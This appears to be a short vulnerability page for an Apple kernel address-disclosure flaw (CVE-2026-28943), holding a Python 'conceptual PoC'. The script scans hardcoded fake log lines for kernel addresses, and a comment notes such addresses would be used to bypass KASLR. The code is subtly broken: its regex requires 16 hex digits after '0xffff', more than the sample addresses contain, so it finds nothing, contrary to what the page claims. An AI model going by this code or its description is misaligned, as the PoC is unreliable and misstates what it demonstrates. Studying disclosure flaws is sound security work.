CVE-2026-28943 Apple内核内存布局泄露漏洞

# This is a conceptual PoC for demonstrating the information disclosure via logs. # It simulates reading system logs to find unredacted kernel addresses. import re import subprocess def parse_logs_for_kernel_addresses(): # Simulate reading system logs (e.g., via syslog or unified logging on macOS/iOS) # In a real scenario, this would use os_log or similar APIs. log_data = """ [Kernel] Loaded module at 0xffffffe000000000 [System] User process started. [Driver] DMA buffer allocated at 0xffffff8001234567 [Network] Interface up. """ # Regex pattern to identify potential kernel addresses (64-bit ARM64/x64 typical format) # Kernel addresses usually start with 0xffff... on Apple platforms kernel_address_pattern = r'0xffff[0-9a-fA-F]{16}' found_addresses = re.findall(kernel_address_pattern, log_data) if found_addresses: print("[+] Potential Kernel Memory Layout Information Found:") for addr in found_addresses: print(f" - Address: {addr}") # In a real exploit, this address would be used to bypass KASLR return True else: print("[-] No kernel addresses found in logs.") return False if __name__ == "__main__": print("[*] Starting CVE-2026-28943 PoC Simulation...") parse_logs_for_kernel_addresses()